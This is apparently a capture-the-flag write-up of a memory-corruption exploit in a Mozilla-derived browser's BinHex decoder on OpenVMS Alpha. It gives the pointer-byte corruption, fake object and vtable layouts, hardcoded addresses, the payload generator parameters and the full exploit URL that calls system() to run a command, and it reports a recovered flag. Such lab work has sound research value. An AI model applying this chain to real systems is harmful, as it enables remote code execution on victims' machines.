BinHex Exploit

This is the final BinHex exploit path. It achieved full broker success in job 20260429-104010-9091c27f and returned:

flag{1t5_jus7_m0zill4_0n_vms}

Executive Summary

The current path uses a memory corruption bug in Mozilla/CSWB's BinHex decoder. A crafted BinHex filename corrupts the low byte of the decoder's mDataBuffer pointer. The following BinHex body bytes are then written raw to a nearby heap address controlled by the corrupted low byte.

That raw write is used to place fake XUL event objects, fake vtables, and fake OpenVMS Alpha procedure descriptors into the browser heap. A later XUL event virtual call in SHARE$LIBGKLAYOUT dereferences one of those fake objects and calls a fake descriptor. The descriptor first enters a small existing thunk that adjusts R16 by four bytes, then tail-calls C RTL system(). Because R16 is the first argument register on Alpha/OpenVMS and still points at the fake object, placing the DCL command at object + 4 makes the command become system()'s argument.

Confirmed achievement:

• Scratch/debug guest RCE with COPY NL: SYS$LOGIN:PWNED.TXT !.
• Repeated invocation created hundreds of PWNED.TXT versions, proving that the XUL virtual-call-to-system() chain is live.
• Full broker execution of RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE.

Bug

The vulnerable component is the BinHex decoder, specifically nsBinHexDecoder::ProcessNextState().

The important behavior is:

1. The BinHex header filename length is attacker-controlled.
2. A boundary filename length corrupts one byte past the fixed filename buffer.
3. The adjacent field is the low byte of mDataBuffer.
4. Later decoder states write incoming payload bytes through the corrupted mDataBuffer.

The primitive is therefore not a normal string-copy primitive. After the pointer byte is corrupted, the following bytes are effectively raw heap writes. This is why the exploit can place Alpha pointers, procedure descriptors, and NUL bytes without relying on JavaScript string encoding.

One important operational detail: filler bytes matter. Earlier tests used alphabet-like filler and the decoder interpreted too much of the overwritten data as valid BinHex, leading to cache/write-path crashes before the intended XUL call fired. Using invalid nonzero filler, currently 0x7e, keeps the raw write useful while avoiding that early cache stream behavior.

Trigger Shape

The reliable trigger is a staged page that loads several BinHex resources in iframes. The earlier frames are benign heap shapers; one target frame contains the exploit payload.

Implemented in tmp/ctf_probe_server.py:

• /binhex_nsview_stage_sweep
• /binhex_xulmulti
• /binhex_xulvcall
• /binhex_xulpattern

The final useful page shape is:

/binhex_nsview_stage_sweep
  start=12
  target=12
  count=1
  rounds=6
  gap=90
  round_gap=450
  pause=250
  fill=0x7e
  size=8191
  exploit_endpoint=/binhex_xulmulti

The page repeatedly loads one target b=12 BinHex iframe. Repetition matters: the successful broker run used six rounds.

XUL Virtual Call

The useful crash/dispatch point observed in dumps is:

SHARE$LIBGKLAYOUT + 0x6d8cf8

The call shape is ideal for this exploit:

1. R16 points into the attacker-written BinHex heap buffer.
2. The code reads a vtable pointer from *R16.
3. It loads a procedure descriptor from vtable + 0x2c.
4. It performs the virtual call while leaving R16 as the object pointer.

Current constants:

Add4 thunk:           0x0000000000AC5610
C RTL system() code:  0xFFFFFFFF80AC0030
C RTL system() desc:  0x000000007BED5920
Virtual-call slot:    0x2c

The fake object layout is:

object + 0x00: fake vtable pointer
object + 0x04: DCL command string

fake_vtable + 0x2c: fake descriptor pointer

fake_descriptor + 0x08: Add4 thunk entry
fake_descriptor + 0x20: system() code
fake_descriptor + 0x28: system() descriptor / GP context

The Add4 thunk is what makes this cleaner than the older attempted nsView path. The virtual call naturally passes R16 = object. The thunk advances R16 to object + 4, where the command string starts, then enters system().

Payload Generator

The final generator is /binhex_xulmulti. It writes one or more candidate fake objects into the same corrupted BinHex buffer and shares one fake vtable and descriptor region.

Key parameters:

rawbase:  expected absolute address of the start of the raw BinHex write
objoffs:  comma-separated candidate object offsets inside the raw write
slot:     virtual-call slot, currently 0x2c
vtoff:    shared fake vtable offset
descoff:  shared fake descriptor offset
cmd:      DCL command for system()

Final broker parameters:

rawbase=0x02bae00c
objoffs=0x54
slot=0x2c
vtoff=0x180
descoff=0x1c0
fill=0x7e
cmd=RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

Final broker URL:

http://10.0.0.1:18121/binhex_nsview_stage_sweep?start=12&target=12&count=1&rounds=6&round_gap=450&gap=90&pause=250&base=0x0&benign_base=0x41414101&fill=0x7e&size=8191&exploit_endpoint=%2Fbinhex_xulmulti&rawbase=0x02bae00c&objoffs=0x54&vtoff=0x180&descoff=0x1c0&cmd=RUN%20SYS%24LOGIN%3AANCIENTS%24DISPENSE_FLAG.EXE

Broker job 20260429-104010-9091c27f returned success and the flag.

Why The Broker Command Is Harder

The broker requires:

RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

That exact command is longer and has different characters from the proof command. In this exploit, the overwritten BinHex bytes are not inert: they are also parsed as browser/content data after the decoder corruption. Changing the command bytes changes subsequent heap and XUL event layout. This is why the object pointer keeps "shifting underneath" the exploit.

Important observed shifts:

• Short/test command runs placed the useful XUL object near one raw offset.
• The original COPY NL: ... proof worked around raw + 0x3a and raw + 0x6a.
• With the exact dispenser command and a bogus vtable, one dump had R16=0x02badd78, while the fake object for the old shape was at raw + 0x3a. That implies the exact command moved the event object by about 0x30.
• A broker diagnostic with the exact command, byte fill, and metadata disabled measured R16=0x02bae138, which is raw + 0x2c for rawbase=0x02bae10c.
• Adding the metadata changed placement again. A full run using rawbase=0x02bade0c showed the raw write at 0x02bae00c and the XUL object at R16=0x02bae060, i.e. raw + 0x54.

The final solve therefore uses rawbase=0x02bae00c and objoffs=0x54.

Broker Status

The final broker run succeeded:

job_id=20260429-104010-9091c27f
success=true
message=exploit succeeded
duration_seconds=29.758
flag=flag{1t5_jus7_m0zill4_0n_vms}

Broker Observability Added

The broker previously destroyed failed VMs before crash/state inspection. I added opt-in failure observability to broker/broker.py:

BROKER_DEBUG_ON_FAILURE=1
BROKER_DEBUG_EXAMINE=<comma-separated debugger ranges>
BROKER_KEEP_VM_ON_FAILURE=1
BROKER_FAILURE_HOLD_SECONDS=<seconds>

When a failed broker run produces a VMS process dump, BROKER_DEBUG_ON_FAILURE runs tmp/ctf_observe.py collect before teardown and writes observe.json into the job directory. If no dump is present, it records observe-skipped.txt.

The observability path was necessary for the final solve because the exact broker command changed both the raw write address and the object offset.